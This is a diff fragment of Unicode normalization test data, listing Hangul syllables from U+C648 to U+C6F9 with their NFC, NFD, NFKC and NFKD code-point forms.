+{ source: [0xC648], NFC: [0xC648], NFD: [0x110B, 0x116A, 0x11AF], NFKC: [0xC648], NFKD: [0x110B, 0x116A, 0x11AF] },
+{ source: [0xC649], NFC: [0xC649], NFD: [0x110B, 0x116A, 0x11B0], NFKC: [0xC649], NFKD: [0x110B, 0x116A, 0x11B0] },
+{ source: [0xC64A], NFC: [0xC64A], NFD: [0x110B, 0x116A, 0x11B1], NFKC: [0xC64A], NFKD: [0x110B, 0x116A, 0x11B1] },
+{ source: [0xC64B], NFC: [0xC64B], NFD: [0x110B, 0x116A, 0x11B2], NFKC: [0xC64B], NFKD: [0x110B, 0x116A, 0x11B2] },
+{ source: [0xC64C], NFC: [0xC64C], NFD: [0x110B, 0x116A, 0x11B3], NFKC: [0xC64C], NFKD: [0x110B, 0x116A, 0x11B3] },
+{ source: [0xC64D], NFC: [0xC64D], NFD: [0x110B, 0x116A, 0x11B4], NFKC: [0xC64D], NFKD: [0x110B, 0x116A, 0x11B4] },
+{ source: [0xC64E], NFC: [0xC64E], NFD: [0x110B, 0x116A, 0x11B5], NFKC: [0xC64E], NFKD: [0x110B, 0x116A, 0x11B5] },
+{ source: [0xC64F], NFC: [0xC64F], NFD: [0x110B, 0x116A, 0x11B6], NFKC: [0xC64F], NFKD: [0x110B, 0x116A, 0x11B6] },
+{ source: [0xC650], NFC: [0xC650], NFD: [0x110B, 0x116A, 0x11B7], NFKC: [0xC650], NFKD: [0x110B, 0x116A, 0x11B7] },
+{ source: [0xC651], NFC: [0xC651], NFD: [0x110B, 0x116A, 0x11B8], NFKC: [0xC651], NFKD: [0x110B, 0x116A, 0x11B8] },
+{ source: [0xC652], NFC: [0xC652], NFD: [0x110B, 0x116A, 0x11B9], NFKC: [0xC652], NFKD: [0x110B, 0x116A, 0x11B9] },
+{ source: [0xC653], NFC: [0xC653], NFD: [0x110B, 0x116A, 0x11BA], NFKC: [0xC653], NFKD: [0x110B, 0x116A, 0x11BA] },
+{ source: [0xC654], NFC: [0xC654], NFD: [0x110B, 0x116A, 0x11BB], NFKC: [0xC654], NFKD: [0x110B, 0x116A, 0x11BB] },
+{ source: [0xC655], NFC: [0xC655], NFD: [0x110B, 0x116A, 0x11BC], NFKC: [0xC655], NFKD: [0x110B, 0x116A, 0x11BC] },
+{ source: [0xC656], NFC: [0xC656], NFD: [0x110B, 0x116A, 0x11BD], NFKC: [0xC656], NFKD: [0x110B, 0x116A, 0x11BD] },
+{ source: [0xC657], NFC: [0xC657], NFD: [0x110B, 0x116A, 0x11BE], NFKC: [0xC657], NFKD: [0x110B, 0x116A, 0x11BE] },
+{ source: [0xC658], NFC: [0xC658], NFD: [0x110B, 0x116A, 0x11BF], NFKC: [0xC658], NFKD: [0x110B, 0x116A, 0x11BF] },
+{ source: [0xC659], NFC: [0xC659], NFD: [0x110B, 0x116A, 0x11C0], NFKC: [0xC659], NFKD: [0x110B, 0x116A, 0x11C0] },
+{ source: [0xC65A], NFC: [0xC65A], NFD: [0x110B, 0x116A, 0x11C1], NFKC: [0xC65A], NFKD: [0x110B, 0x116A, 0x11C1] },
+{ source: [0xC65B], NFC: [0xC65B], NFD: [0x110B, 0x116A, 0x11C2], NFKC: [0xC65B], NFKD: [0x110B, 0x116A, 0x11C2] },
+{ source: [0xC65C], NFC: [0xC65C], NFD: [0x110B, 0x116B], NFKC: [0xC65C], NFKD: [0x110B, 0x116B] },
+{ source: [0xC65D], NFC: [0xC65D], NFD: [0x110B, 0x116B, 0x11A8], NFKC: [0xC65D], NFKD: [0x110B, 0x116B, 0x11A8] },
+{ source: [0xC65E], NFC: [0xC65E], NFD: [0x110B, 0x116B, 0x11A9], NFKC: [0xC65E], NFKD: [0x110B, 0x116B, 0x11A9] },
+{ source: [0xC65F], NFC: [0xC65F], NFD: [0x110B, 0x116B, 0x11AA], NFKC: [0xC65F], NFKD: [0x110B, 0x116B, 0x11AA] },
+{ source: [0xC660], NFC: [0xC660], NFD: [0x110B, 0x116B, 0x11AB], NFKC: [0xC660], NFKD: [0x110B, 0x116B, 0x11AB] },
+{ source: [0xC661], NFC: [0xC661], NFD: [0x110B, 0x116B, 0x11AC], NFKC: [0xC661], NFKD: [0x110B, 0x116B, 0x11AC] },
+{ source: [0xC662], NFC: [0xC662], NFD: [0x110B, 0x116B, 0x11AD], NFKC: [0xC662], NFKD: [0x110B, 0x116B, 0x11AD] },
+{ source: [0xC663], NFC: [0xC663], NFD: [0x110B, 0x116B, 0x11AE], NFKC: [0xC663], NFKD: [0x110B, 0x116B, 0x11AE] },
+{ source: [0xC664], NFC: [0xC664], NFD: [0x110B, 0x116B, 0x11AF], NFKC: [0xC664], NFKD: [0x110B, 0x116B, 0x11AF] },
+{ source: [0xC665], NFC: [0xC665], NFD: [0x110B, 0x116B, 0x11B0], NFKC: [0xC665], NFKD: [0x110B, 0x116B, 0x11B0] },
+{ source: [0xC666], NFC: [0xC666], NFD: [0x110B, 0x116B, 0x11B1], NFKC: [0xC666], NFKD: [0x110B, 0x116B, 0x11B1] },
+{ source: [0xC667], NFC: [0xC667], NFD: [0x110B, 0x116B, 0x11B2], NFKC: [0xC667], NFKD: [0x110B, 0x116B, 0x11B2] },
+{ source: [0xC668], NFC: [0xC668], NFD: [0x110B, 0x116B, 0x11B3], NFKC: [0xC668], NFKD: [0x110B, 0x116B, 0x11B3] },
+{ source: [0xC669], NFC: [0xC669], NFD: [0x110B, 0x116B, 0x11B4], NFKC: [0xC669], NFKD: [0x110B, 0x116B, 0x11B4] },
+{ source: [0xC66A], NFC: [0xC66A], NFD: [0x110B, 0x116B, 0x11B5], NFKC: [0xC66A], NFKD: [0x110B, 0x116B, 0x11B5] },
+{ source: [0xC66B], NFC: [0xC66B], NFD: [0x110B, 0x116B, 0x11B6], NFKC: [0xC66B], NFKD: [0x110B, 0x116B, 0x11B6] },
+{ source: [0xC66C], NFC: [0xC66C], NFD: [0x110B, 0x116B, 0x11B7], NFKC: [0xC66C], NFKD: [0x110B, 0x116B, 0x11B7] },
+{ source: [0xC66D], NFC: [0xC66D], NFD: [0x110B, 0x116B, 0x11B8], NFKC: [0xC66D], NFKD: [0x110B, 0x116B, 0x11B8] },
+{ source: [0xC66E], NFC: [0xC66E], NFD: [0x110B, 0x116B, 0x11B9], NFKC: [0xC66E], NFKD: [0x110B, 0x116B, 0x11B9] },
+{ source: [0xC66F], NFC: [0xC66F], NFD: [0x110B, 0x116B, 0x11BA], NFKC: [0xC66F], NFKD: [0x110B, 0x116B, 0x11BA] },
+{ source: [0xC670], NFC: [0xC670], NFD: [0x110B, 0x116B, 0x11BB], NFKC: [0xC670], NFKD: [0x110B, 0x116B, 0x11BB] },
+{ source: [0xC671], NFC: [0xC671], NFD: [0x110B, 0x116B, 0x11BC], NFKC: [0xC671], NFKD: [0x110B, 0x116B, 0x11BC] },
+{ source: [0xC672], NFC: [0xC672], NFD: [0x110B, 0x116B, 0x11BD], NFKC: [0xC672], NFKD: [0x110B, 0x116B, 0x11BD] },
+{ source: [0xC673], NFC: [0xC673], NFD: [0x110B, 0x116B, 0x11BE], NFKC: [0xC673], NFKD: [0x110B, 0x116B, 0x11BE] },
+{ source: [0xC674], NFC: [0xC674], NFD: [0x110B, 0x116B, 0x11BF], NFKC: [0xC674], NFKD: [0x110B, 0x116B, 0x11BF] },
+{ source: [0xC675], NFC: [0xC675], NFD: [0x110B, 0x116B, 0x11C0], NFKC: [0xC675], NFKD: [0x110B, 0x116B, 0x11C0] },
+{ source: [0xC676], NFC: [0xC676], NFD: [0x110B, 0x116B, 0x11C1], NFKC: [0xC676], NFKD: [0x110B, 0x116B, 0x11C1] },
+{ source: [0xC677], NFC: [0xC677], NFD: [0x110B, 0x116B, 0x11C2], NFKC: [0xC677], NFKD: [0x110B, 0x116B, 0x11C2] },
+{ source: [0xC678], NFC: [0xC678], NFD: [0x110B, 0x116C], NFKC: [0xC678], NFKD: [0x110B, 0x116C] },
+{ source: [0xC679], NFC: [0xC679], NFD: [0x110B, 0x116C, 0x11A8], NFKC: [0xC679], NFKD: [0x110B, 0x116C, 0x11A8] },
+{ source: [0xC67A], NFC: [0xC67A], NFD: [0x110B, 0x116C, 0x11A9], NFKC: [0xC67A], NFKD: [0x110B, 0x116C, 0x11A9] },
+{ source: [0xC67B], NFC: [0xC67B], NFD: [0x110B, 0x116C, 0x11AA], NFKC: [0xC67B], NFKD: [0x110B, 0x116C, 0x11AA] },
+{ source: [0xC67C], NFC: [0xC67C], NFD: [0x110B, 0x116C, 0x11AB], NFKC: [0xC67C], NFKD: [0x110B, 0x116C, 0x11AB] },
+{ source: [0xC67D], NFC: [0xC67D], NFD: [0x110B, 0x116C, 0x11AC], NFKC: [0xC67D], NFKD: [0x110B, 0x116C, 0x11AC] },
+{ source: [0xC67E], NFC: [0xC67E], NFD: [0x110B, 0x116C, 0x11AD], NFKC: [0xC67E], NFKD: [0x110B, 0x116C, 0x11AD] },
+{ source: [0xC67F], NFC: [0xC67F], NFD: [0x110B, 0x116C, 0x11AE], NFKC: [0xC67F], NFKD: [0x110B, 0x116C, 0x11AE] },
+{ source: [0xC680], NFC: [0xC680], NFD: [0x110B, 0x116C, 0x11AF], NFKC: [0xC680], NFKD: [0x110B, 0x116C, 0x11AF] },
+{ source: [0xC681], NFC: [0xC681], NFD: [0x110B, 0x116C, 0x11B0], NFKC: [0xC681], NFKD: [0x110B, 0x116C, 0x11B0] },
+{ source: [0xC682], NFC: [0xC682], NFD: [0x110B, 0x116C, 0x11B1], NFKC: [0xC682], NFKD: [0x110B, 0x116C, 0x11B1] },
+{ source: [0xC683], NFC: [0xC683], NFD: [0x110B, 0x116C, 0x11B2], NFKC: [0xC683], NFKD: [0x110B, 0x116C, 0x11B2] },
+{ source: [0xC684], NFC: [0xC684], NFD: [0x110B, 0x116C, 0x11B3], NFKC: [0xC684], NFKD: [0x110B, 0x116C, 0x11B3] },
+{ source: [0xC685], NFC: [0xC685], NFD: [0x110B, 0x116C, 0x11B4], NFKC: [0xC685], NFKD: [0x110B, 0x116C, 0x11B4] },
+{ source: [0xC686], NFC: [0xC686], NFD: [0x110B, 0x116C, 0x11B5], NFKC: [0xC686], NFKD: [0x110B, 0x116C, 0x11B5] },
+{ source: [0xC687], NFC: [0xC687], NFD: [0x110B, 0x116C, 0x11B6], NFKC: [0xC687], NFKD: [0x110B, 0x116C, 0x11B6] },
+{ source: [0xC688], NFC: [0xC688], NFD: [0x110B, 0x116C, 0x11B7], NFKC: [0xC688], NFKD: [0x110B, 0x116C, 0x11B7] },
+{ source: [0xC689], NFC: [0xC689], NFD: [0x110B, 0x116C, 0x11B8], NFKC: [0xC689], NFKD: [0x110B, 0x116C, 0x11B8] },
+{ source: [0xC68A], NFC: [0xC68A], NFD: [0x110B, 0x116C, 0x11B9], NFKC: [0xC68A], NFKD: [0x110B, 0x116C, 0x11B9] },
+{ source: [0xC68B], NFC: [0xC68B], NFD: [0x110B, 0x116C, 0x11BA], NFKC: [0xC68B], NFKD: [0x110B, 0x116C, 0x11BA] },
+{ source: [0xC68C], NFC: [0xC68C], NFD: [0x110B, 0x116C, 0x11BB], NFKC: [0xC68C], NFKD: [0x110B, 0x116C, 0x11BB] },
+{ source: [0xC68D], NFC: [0xC68D], NFD: [0x110B, 0x116C, 0x11BC], NFKC: [0xC68D], NFKD: [0x110B, 0x116C, 0x11BC] },
+{ source: [0xC68E], NFC: [0xC68E], NFD: [0x110B, 0x116C, 0x11BD], NFKC: [0xC68E], NFKD: [0x110B, 0x116C, 0x11BD] },
+{ source: [0xC68F], NFC: [0xC68F], NFD: [0x110B, 0x116C, 0x11BE], NFKC: [0xC68F], NFKD: [0x110B, 0x116C, 0x11BE] },
+{ source: [0xC690], NFC: [0xC690], NFD: [0x110B, 0x116C, 0x11BF], NFKC: [0xC690], NFKD: [0x110B, 0x116C, 0x11BF] },
+{ source: [0xC691], NFC: [0xC691], NFD: [0x110B, 0x116C, 0x11C0], NFKC: [0xC691], NFKD: [0x110B, 0x116C, 0x11C0] },
+{ source: [0xC692], NFC: [0xC692], NFD: [0x110B, 0x116C, 0x11C1], NFKC: [0xC692], NFKD: [0x110B, 0x116C, 0x11C1] },
+{ source: [0xC693], NFC: [0xC693], NFD: [0x110B, 0x116C, 0x11C2], NFKC: [0xC693], NFKD: [0x110B, 0x116C, 0x11C2] },
+{ source: [0xC694], NFC: [0xC694], NFD: [0x110B, 0x116D], NFKC: [0xC694], NFKD: [0x110B, 0x116D] },
+{ source: [0xC695], NFC: [0xC695], NFD: [0x110B, 0x116D, 0x11A8], NFKC: [0xC695], NFKD: [0x110B, 0x116D, 0x11A8] },
+{ source: [0xC696], NFC: [0xC696], NFD: [0x110B, 0x116D, 0x11A9], NFKC: [0xC696], NFKD: [0x110B, 0x116D, 0x11A9] },
+{ source: [0xC697], NFC: [0xC697], NFD: [0x110B, 0x116D, 0x11AA], NFKC: [0xC697], NFKD: [0x110B, 0x116D, 0x11AA] },
+{ source: [0xC698], NFC: [0xC698], NFD: [0x110B, 0x116D, 0x11AB], NFKC: [0xC698], NFKD: [0x110B, 0x116D, 0x11AB] },
+{ source: [0xC699], NFC: [0xC699], NFD: [0x110B, 0x116D, 0x11AC], NFKC: [0xC699], NFKD: [0x110B, 0x116D, 0x11AC] },
+{ source: [0xC69A], NFC: [0xC69A], NFD: [0x110B, 0x116D, 0x11AD], NFKC: [0xC69A], NFKD: [0x110B, 0x116D, 0x11AD] },
+{ source: [0xC69B], NFC: [0xC69B], NFD: [0x110B, 0x116D, 0x11AE], NFKC: [0xC69B], NFKD: [0x110B, 0x116D, 0x11AE] },
+{ source: [0xC69C], NFC: [0xC69C], NFD: [0x110B, 0x116D, 0x11AF], NFKC: [0xC69C], NFKD: [0x110B, 0x116D, 0x11AF] },
+{ source: [0xC69D], NFC: [0xC69D], NFD: [0x110B, 0x116D, 0x11B0], NFKC: [0xC69D], NFKD: [0x110B, 0x116D, 0x11B0] },
+{ source: [0xC69E], NFC: [0xC69E], NFD: [0x110B, 0x116D, 0x11B1], NFKC: [0xC69E], NFKD: [0x110B, 0x116D, 0x11B1] },
+{ source: [0xC69F], NFC: [0xC69F], NFD: [0x110B, 0x116D, 0x11B2], NFKC: [0xC69F], NFKD: [0x110B, 0x116D, 0x11B2] },
+{ source: [0xC6A0], NFC: [0xC6A0], NFD: [0x110B, 0x116D, 0x11B3], NFKC: [0xC6A0], NFKD: [0x110B, 0x116D, 0x11B3] },
+{ source: [0xC6A1], NFC: [0xC6A1], NFD: [0x110B, 0x116D, 0x11B4], NFKC: [0xC6A1], NFKD: [0x110B, 0x116D, 0x11B4] },
+{ source: [0xC6A2], NFC: [0xC6A2], NFD: [0x110B, 0x116D, 0x11B5], NFKC: [0xC6A2], NFKD: [0x110B, 0x116D, 0x11B5] },
+{ source: [0xC6A3], NFC: [0xC6A3], NFD: [0x110B, 0x116D, 0x11B6], NFKC: [0xC6A3], NFKD: [0x110B, 0x116D, 0x11B6] },
+{ source: [0xC6A4], NFC: [0xC6A4], NFD: [0x110B, 0x116D, 0x11B7], NFKC: [0xC6A4], NFKD: [0x110B, 0x116D, 0x11B7] },
+{ source: [0xC6A5], NFC: [0xC6A5], NFD: [0x110B, 0x116D, 0x11B8], NFKC: [0xC6A5], NFKD: [0x110B, 0x116D, 0x11B8] },
+{ source: [0xC6A6], NFC: [0xC6A6], NFD: [0x110B, 0x116D, 0x11B9], NFKC: [0xC6A6], NFKD: [0x110B, 0x116D, 0x11B9] },
+{ source: [0xC6A7], NFC: [0xC6A7], NFD: [0x110B, 0x116D, 0x11BA], NFKC: [0xC6A7], NFKD: [0x110B, 0x116D, 0x11BA] },
+{ source: [0xC6A8], NFC: [0xC6A8], NFD: [0x110B, 0x116D, 0x11BB], NFKC: [0xC6A8], NFKD: [0x110B, 0x116D, 0x11BB] },
+{ source: [0xC6A9], NFC: [0xC6A9], NFD: [0x110B, 0x116D, 0x11BC], NFKC: [0xC6A9], NFKD: [0x110B, 0x116D, 0x11BC] },
+{ source: [0xC6AA], NFC: [0xC6AA], NFD: [0x110B, 0x116D, 0x11BD], NFKC: [0xC6AA], NFKD: [0x110B, 0x116D, 0x11BD] },
+{ source: [0xC6AB], NFC: [0xC6AB], NFD: [0x110B, 0x116D, 0x11BE], NFKC: [0xC6AB], NFKD: [0x110B, 0x116D, 0x11BE] },
+{ source: [0xC6AC], NFC: [0xC6AC], NFD: [0x110B, 0x116D, 0x11BF], NFKC: [0xC6AC], NFKD: [0x110B, 0x116D, 0x11BF] },
+{ source: [0xC6AD], NFC: [0xC6AD], NFD: [0x110B, 0x116D, 0x11C0], NFKC: [0xC6AD], NFKD: [0x110B, 0x116D, 0x11C0] },
+{ source: [0xC6AE], NFC: [0xC6AE], NFD: [0x110B, 0x116D, 0x11C1], NFKC: [0xC6AE], NFKD: [0x110B, 0x116D, 0x11C1] },
+{ source: [0xC6AF], NFC: [0xC6AF], NFD: [0x110B, 0x116D, 0x11C2], NFKC: [0xC6AF], NFKD: [0x110B, 0x116D, 0x11C2] },
+{ source: [0xC6B0], NFC: [0xC6B0], NFD: [0x110B, 0x116E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0xC6B1], NFC: [0xC6B1], NFD: [0x110B, 0x116E, 0x11A8], NFKC: [0xC6B1], NFKD: [0x110B, 0x116E, 0x11A8] },
+{ source: [0xC6B2], NFC: [0xC6B2], NFD: [0x110B, 0x116E, 0x11A9], NFKC: [0xC6B2], NFKD: [0x110B, 0x116E, 0x11A9] },
+{ source: [0xC6B3], NFC: [0xC6B3], NFD: [0x110B, 0x116E, 0x11AA], NFKC: [0xC6B3], NFKD: [0x110B, 0x116E, 0x11AA] },
+{ source: [0xC6B4], NFC: [0xC6B4], NFD: [0x110B, 0x116E, 0x11AB], NFKC: [0xC6B4], NFKD: [0x110B, 0x116E, 0x11AB] },
+{ source: [0xC6B5], NFC: [0xC6B5], NFD: [0x110B, 0x116E, 0x11AC], NFKC: [0xC6B5], NFKD: [0x110B, 0x116E, 0x11AC] },
+{ source: [0xC6B6], NFC: [0xC6B6], NFD: [0x110B, 0x116E, 0x11AD], NFKC: [0xC6B6], NFKD: [0x110B, 0x116E, 0x11AD] },
+{ source: [0xC6B7], NFC: [0xC6B7], NFD: [0x110B, 0x116E, 0x11AE], NFKC: [0xC6B7], NFKD: [0x110B, 0x116E, 0x11AE] },
+{ source: [0xC6B8], NFC: [0xC6B8], NFD: [0x110B, 0x116E, 0x11AF], NFKC: [0xC6B8], NFKD: [0x110B, 0x116E, 0x11AF] },
+{ source: [0xC6B9], NFC: [0xC6B9], NFD: [0x110B, 0x116E, 0x11B0], NFKC: [0xC6B9], NFKD: [0x110B, 0x116E, 0x11B0] },
+{ source: [0xC6BA], NFC: [0xC6BA], NFD: [0x110B, 0x116E, 0x11B1], NFKC: [0xC6BA], NFKD: [0x110B, 0x116E, 0x11B1] },
+{ source: [0xC6BB], NFC: [0xC6BB], NFD: [0x110B, 0x116E, 0x11B2], NFKC: [0xC6BB], NFKD: [0x110B, 0x116E, 0x11B2] },
+{ source: [0xC6BC], NFC: [0xC6BC], NFD: [0x110B, 0x116E, 0x11B3], NFKC: [0xC6BC], NFKD: [0x110B, 0x116E, 0x11B3] },
+{ source: [0xC6BD], NFC: [0xC6BD], NFD: [0x110B, 0x116E, 0x11B4], NFKC: [0xC6BD], NFKD: [0x110B, 0x116E, 0x11B4] },
+{ source: [0xC6BE], NFC: [0xC6BE], NFD: [0x110B, 0x116E, 0x11B5], NFKC: [0xC6BE], NFKD: [0x110B, 0x116E, 0x11B5] },
+{ source: [0xC6BF], NFC: [0xC6BF], NFD: [0x110B, 0x116E, 0x11B6], NFKC: [0xC6BF], NFKD: [0x110B, 0x116E, 0x11B6] },
+{ source: [0xC6C0], NFC: [0xC6C0], NFD: [0x110B, 0x116E, 0x11B7], NFKC: [0xC6C0], NFKD: [0x110B, 0x116E, 0x11B7] },
+{ source: [0xC6C1], NFC: [0xC6C1], NFD: [0x110B, 0x116E, 0x11B8], NFKC: [0xC6C1], NFKD: [0x110B, 0x116E, 0x11B8] },
+{ source: [0xC6C2], NFC: [0xC6C2], NFD: [0x110B, 0x116E, 0x11B9], NFKC: [0xC6C2], NFKD: [0x110B, 0x116E, 0x11B9] },
+{ source: [0xC6C3], NFC: [0xC6C3], NFD: [0x110B, 0x116E, 0x11BA], NFKC: [0xC6C3], NFKD: [0x110B, 0x116E, 0x11BA] },
+{ source: [0xC6C4], NFC: [0xC6C4], NFD: [0x110B, 0x116E, 0x11BB], NFKC: [0xC6C4], NFKD: [0x110B, 0x116E, 0x11BB] },
+{ source: [0xC6C5], NFC: [0xC6C5], NFD: [0x110B, 0x116E, 0x11BC], NFKC: [0xC6C5], NFKD: [0x110B, 0x116E, 0x11BC] },
+{ source: [0xC6C6], NFC: [0xC6C6], NFD: [0x110B, 0x116E, 0x11BD], NFKC: [0xC6C6], NFKD: [0x110B, 0x116E, 0x11BD] },
+{ source: [0xC6C7], NFC: [0xC6C7], NFD: [0x110B, 0x116E, 0x11BE], NFKC: [0xC6C7], NFKD: [0x110B, 0x116E, 0x11BE] },
+{ source: [0xC6C8], NFC: [0xC6C8], NFD: [0x110B, 0x116E, 0x11BF], NFKC: [0xC6C8], NFKD: [0x110B, 0x116E, 0x11BF] },
+{ source: [0xC6C9], NFC: [0xC6C9], NFD: [0x110B, 0x116E, 0x11C0], NFKC: [0xC6C9], NFKD: [0x110B, 0x116E, 0x11C0] },
+{ source: [0xC6CA], NFC: [0xC6CA], NFD: [0x110B, 0x116E, 0x11C1], NFKC: [0xC6CA], NFKD: [0x110B, 0x116E, 0x11C1] },
+{ source: [0xC6CB], NFC: [0xC6CB], NFD: [0x110B, 0x116E, 0x11C2], NFKC: [0xC6CB], NFKD: [0x110B, 0x116E, 0x11C2] },
+{ source: [0xC6CC], NFC: [0xC6CC], NFD: [0x110B, 0x116F], NFKC: [0xC6CC], NFKD: [0x110B, 0x116F] },
+{ source: [0xC6CD], NFC: [0xC6CD], NFD: [0x110B, 0x116F, 0x11A8], NFKC: [0xC6CD], NFKD: [0x110B, 0x116F, 0x11A8] },
+{ source: [0xC6CE], NFC: [0xC6CE], NFD: [0x110B, 0x116F, 0x11A9], NFKC: [0xC6CE], NFKD: [0x110B, 0x116F, 0x11A9] },
+{ source: [0xC6CF], NFC: [0xC6CF], NFD: [0x110B, 0x116F, 0x11AA], NFKC: [0xC6CF], NFKD: [0x110B, 0x116F, 0x11AA] },
+{ source: [0xC6D0], NFC: [0xC6D0], NFD: [0x110B, 0x116F, 0x11AB], NFKC: [0xC6D0], NFKD: [0x110B, 0x116F, 0x11AB] },
+{ source: [0xC6D1], NFC: [0xC6D1], NFD: [0x110B, 0x116F, 0x11AC], NFKC: [0xC6D1], NFKD: [0x110B, 0x116F, 0x11AC] },
+{ source: [0xC6D2], NFC: [0xC6D2], NFD: [0x110B, 0x116F, 0x11AD], NFKC: [0xC6D2], NFKD: [0x110B, 0x116F, 0x11AD] },
+{ source: [0xC6D3], NFC: [0xC6D3], NFD: [0x110B, 0x116F, 0x11AE], NFKC: [0xC6D3], NFKD: [0x110B, 0x116F, 0x11AE] },
+{ source: [0xC6D4], NFC: [0xC6D4], NFD: [0x110B, 0x116F, 0x11AF], NFKC: [0xC6D4], NFKD: [0x110B, 0x116F, 0x11AF] },
+{ source: [0xC6D5], NFC: [0xC6D5], NFD: [0x110B, 0x116F, 0x11B0], NFKC: [0xC6D5], NFKD: [0x110B, 0x116F, 0x11B0] },
+{ source: [0xC6D6], NFC: [0xC6D6], NFD: [0x110B, 0x116F, 0x11B1], NFKC: [0xC6D6], NFKD: [0x110B, 0x116F, 0x11B1] },
+{ source: [0xC6D7], NFC: [0xC6D7], NFD: [0x110B, 0x116F, 0x11B2], NFKC: [0xC6D7], NFKD: [0x110B, 0x116F, 0x11B2] },
+{ source: [0xC6D8], NFC: [0xC6D8], NFD: [0x110B, 0x116F, 0x11B3], NFKC: [0xC6D8], NFKD: [0x110B, 0x116F, 0x11B3] },
+{ source: [0xC6D9], NFC: [0xC6D9], NFD: [0x110B, 0x116F, 0x11B4], NFKC: [0xC6D9], NFKD: [0x110B, 0x116F, 0x11B4] },
+{ source: [0xC6DA], NFC: [0xC6DA], NFD: [0x110B, 0x116F, 0x11B5], NFKC: [0xC6DA], NFKD: [0x110B, 0x116F, 0x11B5] },
+{ source: [0xC6DB], NFC: [0xC6DB], NFD: [0x110B, 0x116F, 0x11B6], NFKC: [0xC6DB], NFKD: [0x110B, 0x116F, 0x11B6] },
+{ source: [0xC6DC], NFC: [0xC6DC], NFD: [0x110B, 0x116F, 0x11B7], NFKC: [0xC6DC], NFKD: [0x110B, 0x116F, 0x11B7] },
+{ source: [0xC6DD], NFC: [0xC6DD], NFD: [0x110B, 0x116F, 0x11B8], NFKC: [0xC6DD], NFKD: [0x110B, 0x116F, 0x11B8] },
+{ source: [0xC6DE], NFC: [0xC6DE], NFD: [0x110B, 0x116F, 0x11B9], NFKC: [0xC6DE], NFKD: [0x110B, 0x116F, 0x11B9] },
+{ source: [0xC6DF], NFC: [0xC6DF], NFD: [0x110B, 0x116F, 0x11BA], NFKC: [0xC6DF], NFKD: [0x110B, 0x116F, 0x11BA] },
+{ source: [0xC6E0], NFC: [0xC6E0], NFD: [0x110B, 0x116F, 0x11BB], NFKC: [0xC6E0], NFKD: [0x110B, 0x116F, 0x11BB] },
+{ source: [0xC6E1], NFC: [0xC6E1], NFD: [0x110B, 0x116F, 0x11BC], NFKC: [0xC6E1], NFKD: [0x110B, 0x116F, 0x11BC] },
+{ source: [0xC6E2], NFC: [0xC6E2], NFD: [0x110B, 0x116F, 0x11BD], NFKC: [0xC6E2], NFKD: [0x110B, 0x116F, 0x11BD] },
+{ source: [0xC6E3], NFC: [0xC6E3], NFD: [0x110B, 0x116F, 0x11BE], NFKC: [0xC6E3], NFKD: [0x110B, 0x116F, 0x11BE] },
+{ source: [0xC6E4], NFC: [0xC6E4], NFD: [0x110B, 0x116F, 0x11BF], NFKC: [0xC6E4], NFKD: [0x110B, 0x116F, 0x11BF] },
+{ source: [0xC6E5], NFC: [0xC6E5], NFD: [0x110B, 0x116F, 0x11C0], NFKC: [0xC6E5], NFKD: [0x110B, 0x116F, 0x11C0] },
+{ source: [0xC6E6], NFC: [0xC6E6], NFD: [0x110B, 0x116F, 0x11C1], NFKC: [0xC6E6], NFKD: [0x110B, 0x116F, 0x11C1] },
+{ source: [0xC6E7], NFC: [0xC6E7], NFD: [0x110B, 0x116F, 0x11C2], NFKC: [0xC6E7], NFKD: [0x110B, 0x116F, 0x11C2] },
+{ source: [0xC6E8], NFC: [0xC6E8], NFD: [0x110B, 0x1170], NFKC: [0xC6E8], NFKD: [0x110B, 0x1170] },
+{ source: [0xC6E9], NFC: [0xC6E9], NFD: [0x110B, 0x1170, 0x11A8], NFKC: [0xC6E9], NFKD: [0x110B, 0x1170, 0x11A8] },
+{ source: [0xC6EA], NFC: [0xC6EA], NFD: [0x110B, 0x1170, 0x11A9], NFKC: [0xC6EA], NFKD: [0x110B, 0x1170, 0x11A9] },
+{ source: [0xC6EB], NFC: [0xC6EB], NFD: [0x110B, 0x1170, 0x11AA], NFKC: [0xC6EB], NFKD: [0x110B, 0x1170, 0x11AA] },
+{ source: [0xC6EC], NFC: [0xC6EC], NFD: [0x110B, 0x1170, 0x11AB], NFKC: [0xC6EC], NFKD: [0x110B, 0x1170, 0x11AB] },
+{ source: [0xC6ED], NFC: [0xC6ED], NFD: [0x110B, 0x1170, 0x11AC], NFKC: [0xC6ED], NFKD: [0x110B, 0x1170, 0x11AC] },
+{ source: [0xC6EE], NFC: [0xC6EE], NFD: [0x110B, 0x1170, 0x11AD], NFKC: [0xC6EE], NFKD: [0x110B, 0x1170, 0x11AD] },
+{ source: [0xC6EF], NFC: [0xC6EF], NFD: [0x110B, 0x1170, 0x11AE], NFKC: [0xC6EF], NFKD: [0x110B, 0x1170, 0x11AE] },
+{ source: [0xC6F0], NFC: [0xC6F0], NFD: [0x110B, 0x1170, 0x11AF], NFKC: [0xC6F0], NFKD: [0x110B, 0x1170, 0x11AF] },
+{ source: [0xC6F1], NFC: [0xC6F1], NFD: [0x110B, 0x1170, 0x11B0], NFKC: [0xC6F1], NFKD: [0x110B, 0x1170, 0x11B0] },
+{ source: [0xC6F2], NFC: [0xC6F2], NFD: [0x110B, 0x1170, 0x11B1], NFKC: [0xC6F2], NFKD: [0x110B, 0x1170, 0x11B1] },
+{ source: [0xC6F3], NFC: [0xC6F3], NFD: [0x110B, 0x1170, 0x11B2], NFKC: [0xC6F3], NFKD: [0x110B, 0x1170, 0x11B2] },
+{ source: [0xC6F4], NFC: [0xC6F4], NFD: [0x110B, 0x1170, 0x11B3], NFKC: [0xC6F4], NFKD: [0x110B, 0x1170, 0x11B3] },
+{ source: [0xC6F5], NFC: [0xC6F5], NFD: [0x110B, 0x1170, 0x11B4], NFKC: [0xC6F5], NFKD: [0x110B, 0x1170, 0x11B4] },
+{ source: [0xC6F6], NFC: [0xC6F6], NFD: [0x110B, 0x1170, 0x11B5], NFKC: [0xC6F6], NFKD: [0x110B, 0x1170, 0x11B5] },
+{ source: [0xC6F7], NFC: [0xC6F7], NFD: [0x110B, 0x1170, 0x11B6], NFKC: [0xC6F7], NFKD: [0x110B, 0x1170, 0x11B6] },
+{ source: [0xC6F8], NFC: [0xC6F8], NFD: [0x110B, 0x1170, 0x11B7], NFKC: [0xC6F8], NFKD: [0x110B, 0x1170, 0x11B7] },
+{ source: [0xC6F9], NFC: [0xC6F9], NFD: [0x110B, 0x1170, 0x11B8], NFKC: [0xC6F9], NFKD: [0x110B, 0x1170, 0x11B8] },
